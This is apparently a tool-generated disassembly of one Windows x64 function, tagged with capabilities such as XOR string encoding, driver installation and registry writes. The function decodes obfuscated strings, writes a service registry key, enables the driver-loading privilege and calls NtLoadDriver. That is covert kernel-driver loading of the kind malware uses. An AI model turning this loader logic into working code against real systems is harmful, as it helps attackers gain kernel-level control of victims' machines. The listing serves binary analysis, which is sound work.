Function at 0x140074a70
Capabilities:
Encode data using xor
Install driver
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xd0]
sub rsp, 0x1d0
mov rbx, rcx
lea rcx, [rbp + 0x70]
call fcn.14006e120
nop
mov dword [rsp + 0x30], 0x4ecf4ec6
mov dword [rsp + 0x34], 0x4ecc4ec4
mov dword [rsp + 0x38], 0x4ed74edc
mov dword [rsp + 0x3c], 0x4edf4ec7
mov dword [rsp + 0x40], 0x4eec4ee8
mov dword [rsp + 0x44], 0x4ec54eed
mov dword [rsp + 0x48], 0x4ed64ecf
mov dword [rsp + 0x4c], 0x4ecb4ee0
mov dword [rsp + 0x50], 0x4ed24ecb
mov dword [rsp + 0x54], 0x4ec74ed5
mov dword [rsp + 0x58], 0x4ef94ec5
mov dword [rsp + 0x5c], 0x4ed84ece
mov dword [rsp + 0x60], 0x4efd4ef1
mov dword [rsp + 0x64], 0x4ec24eca
mov dword [rsp + 0x68], 0x4edb4ec7
mov dword [rsp + 0x6c], 0x4ed14ed0
mov dword [rsp + 0x70], 0x4eea4ec6
xor eax, eax
mov word [rsp + 0x74], ax
lea rcx, [rsp + 0x30]
call fcn.1400757e0
mov rdx, rax
lea r8, [rbp + 0x70]
lea rcx, [rbp + 0xb0]
call fcn.140075810
nop
mov dword [rbp - 0x34], 0x4ea94ec9
mov dword [rbp - 0x30], 0x4ec44ea8
xor eax, eax
mov word [rbp - 0x2c], ax
lea rcx, [rbp - 0x34]
call fcn.1400757b0
mov rdx, rax
mov r8, rbx
lea rcx, [rbp + 0x50]
call fcn.140075810
nop
lea rcx, [rbp + 0xb0]
call fcn.140060d00
lea r8, [rbp + 0x120]
mov rdx, rax
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
mov edi, eax
test eax, eax
je 0x140074bfb
movdqa xmm0, xmmword [0x1400bae90]
movdqu xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x40], 0xdac2d585
mov dword [rsp + 0x44], 0xc9c8c3df
mov dword [rsp + 0x48], 0xc9cac58d
mov word [rsp + 0x4c], 0xbb
xor ebx, ebx
nop
movsxd rax, ebx
lea rcx, [rsp + 0x30]
add rcx, rax
lea eax, [rbx - 0x6b]
xor byte [rcx], al
inc ebx
cmp ebx, 0x1d
jb 0x140074bd0
mov byte [rsp + 0x4d], 0
lea rcx, [rsp + 0x30]
call fcn.14006df70
jmp 0x14007523e
mov eax, dword [rbp + 0x60]
lea edi, [rax + rax]
lea rcx, [rbp + 0x50]
call fcn.140060d00
mov rbx, rax
mov dword [rsp + 0x30], 0x4efb4edc
mov dword [rsp + 0x34], 0x4eff4ef6
mov dword [rsp + 0x38], 0x4eca4efc
mov dword [rsp + 0x3c], 0x4ee84efa
mov dword [rsp + 0x40], 0x4ef5
lea rcx, [rsp + 0x30]
call fcn.1400608d0
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rbx
mov r9d, 2
mov r8, rax
xor edx, edx
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.ADVAPI32.dll_RegSetKeyValueW]
mov edi, eax
test eax, eax
je 0x140074cdb
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
movdqa xmm0, xmmword [0x1400bae90]
movdqu xmmword [rsp + 0x30], xmm0
movdqa xmm1, xmmword [0x1400bb110]
movdqu xmmword [rsp + 0x40], xmm1
mov dword [rsp + 0x50], 0xcac3c5dc
mov dword [rsp + 0x54], 0xddcd9ac0
mov dword [rsp + 0x58], 0xcadacbd1
xor eax, eax
mov byte [rsp + 0x5c], al
xor ebx, ebx
nop
movsxd rax, ebx
lea rcx, [rsp + 0x30]
add rcx, rax
lea eax, [rbx - 0x6b]
xor byte [rcx], al
inc ebx
cmp ebx, 0x2c
jb 0x140074cb0
mov byte [rsp + 0x5c], 0
lea rcx, [rsp + 0x30]
call fcn.14006df70
jmp 0x14007523e
mov dword [rsp + 0x30], 0x4eef4ec1
mov dword [rsp + 0x34], 0x4efd4ee7
xor eax, eax
mov word [rsp + 0x38], ax
lea rcx, [rsp + 0x30]
call fcn.1400757b0
mov dword [rsp + 0x28], 4
lea rcx, [0x1400ba234]
mov qword [rsp + 0x20], rcx
mov r9d, 4
mov r8, rax
xor edx, edx
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.ADVAPI32.dll_RegSetKeyValueW]
mov edi, eax
mov rcx, qword [rbp + 0x120]
test eax, eax
je 0x140074d9b
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
movdqa xmm0, xmmword [0x1400bae90]
movdqu xmmword [rsp + 0x30], xmm0
movdqa xmm1, xmmword [0x1400bb010]
movdqu xmmword [rsp + 0x40], xmm1
mov dword [rsp + 0x50], 0xd4d6c095
mov dword [rsp + 0x54], 0xb1dfcc
xor ebx, ebx
nop dword [rax]
movsxd rax, ebx
lea rcx, [rsp + 0x30]
add rcx, rax
lea eax, [rbx - 0x6b]
xor byte [rcx], al
inc ebx
cmp ebx, 0x27
jb 0x140074d70
mov byte [rsp + 0x57], 0
lea rcx, [rsp + 0x30]
call fcn.14006df70
jmp 0x14007523e
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [rsp + 0x30], 0x4ee24efb
mov dword [rsp + 0x34], 0x4ef44ef3
mov dword [rsp + 0x38], 0x4eb44ef5
mov dword [rsp + 0x3c], 0x4ef04eff
mov dword [rsp + 0x40], 0x4ef1
lea rcx, [rsp + 0x30]
call fcn.1400608d0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
jne 0x140074de9
lea edi, [rax + 1]
jmp 0x14007523e
lea r9, [rbp + 0x118]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0xa]
call qword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
mov edi, eax
movdqa xmm0, xmmword [0x1400bb030]
movdqu xmmword [rsp + 0x30], xmm0
movdqa xmm1, xmmword [0x1400bb000]
movdqu xmmword [rsp + 0x40], xmm1
mov dword [rsp + 0x50], 0xbdee90
xor ebx, ebx
mov edx, ebx
nop dword [rax]
movsxd rax, edx
lea rcx, [rsp + 0x30]
add rcx, rax
lea eax, [rdx - 0x6b]
xor byte [rcx], al
inc edx
cmp edx, 0x23
jb 0x140074e30
mov byte [rsp + 0x53], bl
mov edx, edi
lea rcx, [rsp + 0x30]
call fcn.14006df70
test edi, edi
jns 0x140074eea
movdqa xmm0, xmmword [0x1400bb020]
movdqu xmmword [rsp + 0x30], xmm0
movdqa xmm1, xmmword [0x1400bb2a0]
movdqu xmmword [rsp + 0x40], xmm1
movdqa xmm0, xmmword [0x1400bacd0]
movdqu xmmword [rsp + 0x50], xmm0
movdqa xmm1, xmmword [0x1400bad40]
movdqu xmmword [rsp + 0x60], xmm1
movdqa xmm0, xmmword [0x1400babe0]
movdqu xmmword [rsp + 0x70], xmm0
movdqa xmm1, xmmword [0x1400baca0]
movdqu xmmword [rbp - 0x80], xmm1
mov dword [rbp - 0x70], 0xd6859981
mov word [rbp - 0x6c], 0xf3
nop
movsxd rax, ebx
lea rcx, [rsp + 0x30]
add rcx, rax
lea eax, [rbx - 0x6b]
xor byte [rcx], al
inc ebx
cmp ebx, 0x65
jb 0x140074ec0
mov byte [rbp - 0x6b], 0
lea rcx, [rsp + 0x30]
call fcn.14006df70
jmp 0x14007523e
mov dword [rbp - 0x2a], 0x4ec44ec9
mov dword [rbp - 0x26], 0x4eff4ef2
mov dword [rbp - 0x22], 0x4ee94ef0
mov dword [rbp - 0x1e], 0x4eee4eef
mov dword [rbp - 0x1a], 0x4ec24ee4
mov dword [rbp - 0x16], 0x4ec14ed2
mov dword [rbp - 0x12], 0x4eca4ec2
mov dword [rbp - 0xe], 0x4eca4eca
mov dword [rbp - 0xa], 0x4efa4ec0
mov dword [rbp - 6], 0x4ed14ef4
mov dword [rbp - 2], 0x4ede4eda
mov dword [rbp + 2], 0x4ec14ece
mov dword [rbp + 6], 0x4eed4ef1
mov dword [rbp + 0xa], 0x4ec24eda
mov dword [rbp + 0xe], 0x4ed74ec3
mov dword [rbp + 0x12], 0x4ec04edd
mov dword [rbp + 0x16], 0x4ed94ef6
mov dword [rbp + 0x1a], 0x4ecc4ed9
mov dword [rbp + 0x1e], 0x4ed54ecb
mov dword [rbp + 0x22], 0x4eef4ed7
mov dword [rbp + 0x26], 0x4eca4ed8
mov dword [rbp + 0x2a], 0x4e934ee3
mov dword [rbp + 0x2e], 0x4eb04ea4
mov dword [rbp + 0x32], 0x4ead4eb5
mov dword [rbp + 0x36], 0x4ea34ea6
mov dword [rbp + 0x3a], 0x4e944eb4
xor eax, eax
mov word [rbp + 0x3e], ax
lea rcx, [rbp - 0x2a]
call fcn.140075780
mov rdx, rax
lea r8, [rbp + 0x70]
lea rcx, [rbp + 0x90]
call fcn.140075810
nop
lea rcx, [rbp + 0x90]
call fcn.140060d00
mov rdx, rax
lea rcx, [rbp + 0x40]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
lea rcx, [rbp + 0x40]
call qword [sym.imp.ntdll.dll_NtLoadDriver]
mov edi, eax
movdqa xmm0, xmmword [0x1400bb160]
movdqu xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x40], 0xc9d3f585
mov dword [rsp + 0x44], 0x8cd8dfdd
mov dword [rsp + 0x48], 0xe88ad69d
mov word [rsp + 0x4c], 0xbb
mov edx, ebx
nop word [rax + rax]
movsxd rax, edx
lea rcx, [rsp + 0x30]
add rcx, rax
lea eax, [rdx - 0x6b]
xor byte [rcx], al
inc edx
cmp edx, 0x1d
jb 0x140075020
mov byte [rsp + 0x4d], 0
mov edx, edi
lea rcx, [rsp + 0x30]
call fcn.14006df70
cmp edi, 0xc0000603
jne 0x140075228
movdqa xmm0, xmmword [0x1400baf40]
movdqu xmmword [rsp + 0x30], xmm0
movdqa xmm1, xmmword [0x1400bac70]
movdqu xmmword [rsp + 0x40], xmm1
movdqa xmm0, xmmword [0x1400bada0]
movdqu xmmword [rsp + 0x50], xmm0
movdqa xmm1, xmmword [0x1400bb2e0]
movdqu xmmword [rsp + 0x60], xmm1
movdqa xmm0, xmmword [0x1400baf10]
movdqu xmmword [rsp + 0x70], xmm0
movdqa xmm1, xmmword [0x1400bac30]
movdqu xmmword [rbp - 0x80], xmm1
movdqa xmm0, xmmword [0x1400baa10]
movdqu xmmword [rbp - 0x70], xmm0
movdqa xmm1, xmmword [0x1400baa20]
movdqu xmmword [rbp - 0x60], xmm1
movdqa xmm0, xmmword [0x1400ba9f0]
movdqu xmmword [rbp - 0x50], xmm0
mov dword [rbp - 0x40], 0x4c074a40
mov dword [rbp - 0x3c], 0x495d435b
mov word [rbp - 0x38], 0x245f
xor eax, eax
mov byte [rbp - 0x36], al
mov edx, ebx
nop dword [rax]
movsxd rax, edx
lea rcx, [rsp + 0x30]
add rcx, rax
lea eax, [rdx - 0x6b]
xor byte [rcx], al
inc edx
cmp edx, 0x9a
jb 0x1400750f0
mov byte [rbp - 0x36], 0
lea rcx, [rsp + 0x30]
call fcn.14006df70
movdqa xmm0, xmmword [0x1400bb070]
movdqu xmmword [rsp + 0x30], xmm0
movdqa xmm1, xmmword [0x1400bb1b0]
movdqu xmmword [rsp + 0x40], xmm1
movdqa xmm0, xmmword [0x1400bad80]
movdqu xmmword [rsp + 0x50], xmm0
movdqa xmm1, xmmword [0x1400babd0]
movdqu xmmword [rsp + 0x60], xmm1
movdqa xmm0, xmmword [0x1400bad70]
movdqu xmmword [rsp + 0x70], xmm0
movdqa xmm1, xmmword [0x1400baa70]
movdqu xmmword [rbp - 0x80], xmm1
movdqa xmm0, xmmword [0x1400baa00]
movdqu xmmword [rbp - 0x70], xmm0
mov dword [rbp - 0x60], 0xd616c
mov edx, ebx
nop dword [rax]
nop word [rax + rax]
movsxd rax, edx
lea rcx, [rsp + 0x30]
add rcx, rax
lea eax, [rdx - 0x6b]
xor byte [rcx], al
inc edx
cmp edx, 0x73
jb 0x140075190
mov byte [rbp - 0x5d], 0
lea rcx, [rsp + 0x30]
call fcn.14006df70
movdqa xmm0, xmmword [0x1400baf30]
movdqu xmmword [rsp + 0x30], xmm0
movdqa xmm1, xmmword [0x1400bb240]
movdqu xmmword [rsp + 0x40], xmm1
movdqa xmm0, xmmword [0x1400bad90]
movdqu xmmword [rsp + 0x50], xmm0
mov dword [rsp + 0x60], 0xbce7a2b7
mov dword [rsp + 0x64], 0xc6fbeaa6
xor eax, eax
mov byte [rsp + 0x68], al
nop word [rax + rax]
movsxd rax, ebx
lea rcx, [rsp + 0x30]
add rcx, rax
lea eax, [rbx - 0x6b]
xor byte [rcx], al
inc ebx
cmp ebx, 0x38
jb 0x140075200
mov byte [rsp + 0x68], 0
lea rcx, [rsp + 0x30]
call fcn.14006df70
jmp 0x140075231
cmp edi, 0xc000010e
cmove edi, ebx
lea rcx, [rbp + 0x90]
call fcn.140060ab0
nop
lea rcx, [rbp + 0x50]
call fcn.140060ab0
nop
lea rcx, [rbp + 0xb0]
call fcn.140060ab0
nop
lea rcx, [rbp + 0x70]
call fcn.140060ab0
mov eax, edi
mov rbx, qword [rsp + 0x210]
add rsp, 0x1d0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret